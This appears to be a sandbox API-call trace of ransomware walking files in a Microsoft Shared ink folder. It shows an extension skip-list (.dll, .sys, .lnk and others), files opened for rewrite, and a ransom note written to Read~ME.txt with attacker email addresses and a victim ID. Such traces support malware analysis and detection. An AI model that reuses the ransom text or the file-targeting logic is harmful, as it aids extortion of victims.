	[0078.407] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\tipresx.dll.mui", lpSrch=".bat") returned 0x0
	[0078.407] lstrlenW (lpString=".cpl") returned 4
	[0078.407] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\tipresx.dll.mui", lpSrch=".cpl") returned 0x0
	[0078.407] lstrlenW (lpString=".sys") returned 4
	[0078.407] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\tipresx.dll.mui", lpSrch=".sys") returned 0x0
	[0078.407] lstrlenW (lpString=".msc") returned 4
	[0078.407] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\tipresx.dll.mui", lpSrch=".msc") returned 0x0
	[0078.407] lstrlenW (lpString=".com") returned 4
	[0078.407] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\tipresx.dll.mui", lpSrch=".com") returned 0x0
	[0078.408] lstrlenW (lpString=".lnk") returned 4
	[0078.408] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\tipresx.dll.mui", lpSrch=".lnk") returned 0x0
	[0078.408] lstrlenW (lpString=".msp") returned 4
	[0078.408] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\tipresx.dll.mui", lpSrch=".msp") returned 0x0
	[0078.408] lstrlenW (lpString=".pif") returned 4
	[0078.408] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\tipresx.dll.mui", lpSrch=".pif") returned 0x0
	[0078.408] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0078.408] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\tipresx.dll.mui", lpSrch="msp\r\n.pif") returned 0x0
	[0078.408] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fr-fr\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0078.473] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f3e78 | out: hHeap=0x300000) returned 1
	[0078.473] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f37e8 | out: hHeap=0x300000) returned 1
	[0078.473] RtlWakeConditionVariable () returned 0x365f70
	[0078.473] GetCurrentThreadId () returned 0x9cc
	[0078.473] GetCurrentThreadId () returned 0x9cc
	[0078.473] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f37e8
	[0078.473] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f4118 | out: hHeap=0x300000) returned 1
	[0078.473] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39ceb0 | out: hHeap=0x300000) returned 1
	[0078.473] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f4118
	[0078.473] lstrlenW (lpString=".scr") returned 4
	[0078.473] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml", lpSrch=".scr") returned 0x0
	[0078.473] lstrlenW (lpString=".cmd") returned 4
	[0078.474] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml", lpSrch=".cmd") returned 0x0
	[0078.474] lstrlenW (lpString=".dll") returned 4
	[0078.474] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml", lpSrch=".dll") returned 0x0
	[0078.474] lstrlenW (lpString=".bat") returned 4
	[0078.474] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml", lpSrch=".bat") returned 0x0
	[0078.474] lstrlenW (lpString=".cpl") returned 4
	[0078.474] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml", lpSrch=".cpl") returned 0x0
	[0078.474] lstrlenW (lpString=".sys") returned 4
	[0078.474] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml", lpSrch=".sys") returned 0x0
	[0078.474] lstrlenW (lpString=".msc") returned 4
	[0078.474] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml", lpSrch=".msc") returned 0x0
	[0078.474] lstrlenW (lpString=".com") returned 4
	[0078.474] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml", lpSrch=".com") returned 0x0
	[0078.474] lstrlenW (lpString=".lnk") returned 4
	[0078.474] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml", lpSrch=".lnk") returned 0x0
	[0078.474] lstrlenW (lpString=".msp") returned 4
	[0078.474] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml", lpSrch=".msp") returned 0x0
	[0078.474] lstrlenW (lpString=".pif") returned 4
	[0078.474] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml", lpSrch=".pif") returned 0x0
	[0078.474] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0078.474] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml", lpSrch="msp\r\n.pif") returned 0x0
	[0078.474] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0078.475] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f4118 | out: hHeap=0x300000) returned 1
	[0078.475] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f37e8 | out: hHeap=0x300000) returned 1
	[0078.475] RtlWakeConditionVariable () returned 0x365f70
	[0078.475] GetCurrentThreadId () returned 0x9cc
	[0078.475] GetCurrentThreadId () returned 0x9cc
	[0078.475] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3b3a18
	[0078.475] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39e720 | out: hHeap=0x300000) returned 1
	[0078.475] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39cee8 | out: hHeap=0x300000) returned 1
	[0078.475] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3b4120
	[0078.475] lstrlenW (lpString=".scr") returned 4
	[0078.475] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml", lpSrch=".scr") returned 0x0
	[0078.475] lstrlenW (lpString=".cmd") returned 4
	[0078.475] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml", lpSrch=".cmd") returned 0x0
	[0078.475] lstrlenW (lpString=".dll") returned 4
	[0078.475] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml", lpSrch=".dll") returned 0x0
	[0078.475] lstrlenW (lpString=".bat") returned 4
	[0078.475] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml", lpSrch=".bat") returned 0x0
	[0078.475] lstrlenW (lpString=".cpl") returned 4
	[0078.475] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml", lpSrch=".cpl") returned 0x0
	[0078.475] lstrlenW (lpString=".sys") returned 4
	[0078.475] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml", lpSrch=".sys") returned 0x0
	[0078.475] lstrlenW (lpString=".msc") returned 4
	[0078.475] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml", lpSrch=".msc") returned 0x0
	[0078.475] lstrlenW (lpString=".com") returned 4
	[0078.475] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml", lpSrch=".com") returned 0x0
	[0078.476] lstrlenW (lpString=".lnk") returned 4
	[0078.476] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml", lpSrch=".lnk") returned 0x0
	[0078.476] lstrlenW (lpString=".msp") returned 4
	[0078.476] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml", lpSrch=".msp") returned 0x0
	[0078.476] lstrlenW (lpString=".pif") returned 4
	[0078.476] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml", lpSrch=".pif") returned 0x0
	[0078.476] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0078.476] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml", lpSrch="msp\r\n.pif") returned 0x0
	[0078.476] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers\\numbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0078.476] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b4120 | out: hHeap=0x300000) returned 1
	[0078.476] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b3a18 | out: hHeap=0x300000) returned 1
	[0078.476] RtlWakeConditionVariable () returned 0x365f70
	[0078.476] GetCurrentThreadId () returned 0x9cc
	[0078.477] GetCurrentThreadId () returned 0x9cc
	[0078.477] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3b3a18
	[0078.477] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3fa9c0 | out: hHeap=0x300000) returned 1
	[0078.477] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39cf20 | out: hHeap=0x300000) returned 1
	[0078.477] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3b4120
	[0078.477] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\Read~ME.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0078.477] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0078.477] WriteFile (in: hFile=0x120, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x26dfed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x26dfed8*=0x35c, lpOverlapped=0x0) returned 1
	[0078.479] CloseHandle (hObject=0x120) returned 1
	[0078.479] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b4120 | out: hHeap=0x300000) returned 1
	[0078.479] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b3a18 | out: hHeap=0x300000) returned 1
	[0078.479] RtlWakeConditionVariable () returned 0x365f70
	[0078.479] GetCurrentThreadId () returned 0x9cc
	[0078.479] GetCurrentThreadId () returned 0x9cc
	[0078.479] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f5838
	[0078.479] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f5a60 | out: hHeap=0x300000) returned 1
	[0078.479] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39cf58 | out: hHeap=0x300000) returned 1
	[0078.479] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f5a60
	[0078.480] lstrlenW (lpString=".scr") returned 4
	[0078.480] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml", lpSrch=".scr") returned 0x0
	[0078.480] lstrlenW (lpString=".cmd") returned 4
	[0078.480] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml", lpSrch=".cmd") returned 0x0
	[0078.480] lstrlenW (lpString=".dll") returned 4
	[0078.480] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml", lpSrch=".dll") returned 0x0
	[0078.480] lstrlenW (lpString=".bat") returned 4
	[0078.480] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml", lpSrch=".bat") returned 0x0
	[0078.480] lstrlenW (lpString=".cpl") returned 4
	[0078.480] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml", lpSrch=".cpl") returned 0x0
	[0078.480] lstrlenW (lpString=".sys") returned 4
	[0078.480] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml", lpSrch=".sys") returned 0x0
	[0078.480] lstrlenW (lpString=".msc") returned 4
	[0078.480] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml", lpSrch=".msc") returned 0x0
	[0078.480] lstrlenW (lpString=".com") returned 4
	[0078.480] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml", lpSrch=".com") returned 0x0
	[0078.480] lstrlenW (lpString=".lnk") returned 4
	[0078.480] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml", lpSrch=".lnk") returned 0x0
	[0078.480] lstrlenW (lpString=".msp") returned 4
	[0078.480] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml", lpSrch=".msp") returned 0x0
	[0078.480] lstrlenW (lpString=".pif") returned 4
	[0078.480] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml", lpSrch=".pif") returned 0x0
	[0078.480] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0078.480] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml", lpSrch="msp\r\n.pif") returned 0x0
	[0078.481] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0078.494] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f5a60 | out: hHeap=0x300000) returned 1
	[0078.494] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f5838 | out: hHeap=0x300000) returned 1
	[0078.494] RtlWakeConditionVariable () returned 0x365f70
	[0078.494] GetCurrentThreadId () returned 0x9cc
	[0078.494] GetCurrentThreadId () returned 0x9cc
	[0078.494] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xd0) returned 0x27f0068
	[0078.494] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39e958 | out: hHeap=0x300000) returned 1
	[0078.494] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39d000 | out: hHeap=0x300000) returned 1
	[0078.494] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xd0) returned 0x27f0578
	[0078.494] lstrlenW (lpString=".scr") returned 4
	[0078.494] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml", lpSrch=".scr") returned 0x0
	[0078.494] lstrlenW (lpString=".cmd") returned 4
	[0078.494] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml", lpSrch=".cmd") returned 0x0
	[0078.494] lstrlenW (lpString=".dll") returned 4
	[0078.494] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml", lpSrch=".dll") returned 0x0
	[0078.494] lstrlenW (lpString=".bat") returned 4
	[0078.494] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml", lpSrch=".bat") returned 0x0
	[0078.495] lstrlenW (lpString=".cpl") returned 4
	[0078.495] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml", lpSrch=".cpl") returned 0x0
	[0078.495] lstrlenW (lpString=".sys") returned 4
	[0078.495] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml", lpSrch=".sys") returned 0x0
	[0078.495] lstrlenW (lpString=".msc") returned 4
	[0078.495] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml", lpSrch=".msc") returned 0x0
	[0078.495] lstrlenW (lpString=".com") returned 4
	[0078.495] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml", lpSrch=".com") returned 0x0
	[0078.495] lstrlenW (lpString=".lnk") returned 4
	[0078.495] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml", lpSrch=".lnk") returned 0x0
	[0078.495] lstrlenW (lpString=".msp") returned 4
	[0078.495] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml", lpSrch=".msp") returned 0x0
	[0078.495] lstrlenW (lpString=".pif") returned 4
	[0078.495] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml", lpSrch=".pif") returned 0x0
	[0078.495] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0078.495] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml", lpSrch="msp\r\n.pif") returned 0x0
	[0078.495] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0078.511] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f0578 | out: hHeap=0x300000) returned 1
	[0078.511] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f0068 | out: hHeap=0x300000) returned 1
	[0078.511] RtlWakeConditionVariable () returned 0x365f70
	[0078.511] GetCurrentThreadId () returned 0x9cc
	[0078.511] GetCurrentThreadId () returned 0x9cc
	[0078.511] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5018
	[0078.511] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f5eb0 | out: hHeap=0x300000) returned 1
	[0078.511] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39d118 | out: hHeap=0x300000) returned 1
	[0078.511] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f5eb0
	[0078.512] lstrlenW (lpString=".scr") returned 4
	[0078.512] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml", lpSrch=".scr") returned 0x0
	[0078.512] lstrlenW (lpString=".cmd") returned 4
	[0078.512] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml", lpSrch=".cmd") returned 0x0
	[0078.512] lstrlenW (lpString=".dll") returned 4
	[0078.512] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml", lpSrch=".dll") returned 0x0
	[0078.512] lstrlenW (lpString=".bat") returned 4
	[0078.512] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml", lpSrch=".bat") returned 0x0
	[0078.512] lstrlenW (lpString=".cpl") returned 4
	[0078.512] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml", lpSrch=".cpl") returned 0x0
	[0078.512] lstrlenW (lpString=".sys") returned 4
	[0078.512] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml", lpSrch=".sys") returned 0x0
	[0078.512] lstrlenW (lpString=".msc") returned 4
	[0078.512] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml", lpSrch=".msc") returned 0x0
	[0078.512] lstrlenW (lpString=".com") returned 4
	[0078.512] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml", lpSrch=".com") returned 0x0
	[0078.512] lstrlenW (lpString=".lnk") returned 4
	[0078.512] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml", lpSrch=".lnk") returned 0x0
	[0078.512] lstrlenW (lpString=".msp") returned 4
	[0078.512] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml", lpSrch=".msp") returned 0x0
	[0078.512] lstrlenW (lpString=".pif") returned 4
	[0078.512] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml", lpSrch=".pif") returned 0x0
	[0078.512] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0078.512] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml", lpSrch="msp\r\n.pif") returned 0x0
	[0078.512] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0078.531] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f5eb0 | out: hHeap=0x300000) returned 1
	[0078.531] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a5018 | out: hHeap=0x300000) returned 1
	[0078.531] RtlWakeConditionVariable () returned 0x365f70
	[0078.532] GetCurrentThreadId () returned 0x9cc
	[0078.532] GetCurrentThreadId () returned 0x9cc
	[0078.532] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5018
	[0078.532] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f5c88 | out: hHeap=0x300000) returned 1
	[0078.532] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a6160 | out: hHeap=0x300000) returned 1
	[0078.532] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f5c88
	[0078.532] lstrlenW (lpString=".scr") returned 4
	[0078.532] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml", lpSrch=".scr") returned 0x0
	[0078.532] lstrlenW (lpString=".cmd") returned 4
	[0078.532] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml", lpSrch=".cmd") returned 0x0
	[0078.532] lstrlenW (lpString=".dll") returned 4
	[0078.532] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml", lpSrch=".dll") returned 0x0
	[0078.532] lstrlenW (lpString=".bat") returned 4
	[0078.532] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml", lpSrch=".bat") returned 0x0
	[0078.533] lstrlenW (lpString=".cpl") returned 4
	[0078.533] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml", lpSrch=".cpl") returned 0x0
	[0078.533] lstrlenW (lpString=".sys") returned 4
	[0078.533] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml", lpSrch=".sys") returned 0x0
	[0078.533] lstrlenW (lpString=".msc") returned 4
	[0078.533] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml", lpSrch=".msc") returned 0x0
	[0078.533] lstrlenW (lpString=".com") returned 4
	[0078.533] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml", lpSrch=".com") returned 0x0
	[0078.533] lstrlenW (lpString=".lnk") returned 4
	[0078.533] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml", lpSrch=".lnk") returned 0x0
	[0078.533] lstrlenW (lpString=".msp") returned 4
	[0078.533] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml", lpSrch=".msp") returned 0x0
	[0078.533] lstrlenW (lpString=".pif") returned 4
	[0078.533] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml", lpSrch=".pif") returned 0x0
	[0078.533] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0078.533] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml", lpSrch="msp\r\n.pif") returned 0x0
